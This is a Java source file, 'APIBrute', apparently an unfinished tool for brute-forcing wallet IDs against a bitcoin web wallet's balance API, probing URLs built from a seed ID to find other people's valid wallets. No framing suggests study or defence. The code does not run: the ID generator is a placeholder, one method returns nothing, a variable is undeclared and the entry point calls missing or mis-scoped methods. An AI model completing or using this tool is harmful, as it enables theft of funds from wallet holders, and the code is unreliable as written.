import java.io.*;
import java.util.*;

public class APIBrute {

    private String seed;
    private ArrayList<String> validWallets; 

    public APIBrute(String seed) {
	this.seed = seed;
    }

    private String URLBuilder() {
	String url = "https://www.instawallet.org/api/v1/w/";
	String walletID = <wallet_id>;                                       //WALLET ID GENERATOR GOES HERE

	url+= walletID;
	url+= "/balance";

    }

    private String checkWalletValidity(String url) throws Exception {
	try {
	    String responseBody = "";

	    urlc = (HttpURLConnection) new URL(url).openConnection();
	    urlc.setDoOutput(true);
	    urlc.setUseCaches(false);
	    urlc.setRequestMethod("GET");
	    //urlc.setRequestProperty("Content-Type", "application/json");
	    //urlc.setRequestProperty("User-Agent", "ToonnApp/0.0 +http://www.groept.be");
	    //urlc.setRequestProperty("Accept-Encoding", "gzip");
	    OutputStreamWriter wr = new OutputStreamWriter(urlc.getOutputStream());
	    wr.flush();
	    wr.close();
	    InputStreamReader re = new InputStreamReader(urlc.getInputStream());
	    BufferedReader rd = new BufferedReader(new InputStreamReader(urlc.getInputStream()));
	    String line = "";

	    while ((line = rd.readLine()) != null) {
		responseBody += line;
		responseBody += "\n";
	    }
	    rd.close();
	    re.close();
	    return responseBody;
	}
	catch (Exception e) {
	    throw new RuntimeException(e);
	}
    }

    private String getInput() {
        String s = "";
        InputStreamReader isr = new InputStreamReader(System.in);
        BufferedReader br = new BufferedReader(isr);
        try {
            s = br.readLine();

        } catch (IOException e) {}
        return s.toLowerCase();
    }

    private void Start() {

    }

    public static void main(String[] args) {
	String s = "";
	String input;
	APIBrute brute;

	s+= "Welcome to APIBRute!\n\n";

	s+= "Please enter a seed wallet ID: ";
	input = getInput();
	brute = new APIBrute(input);
	brute.start();
    }

}
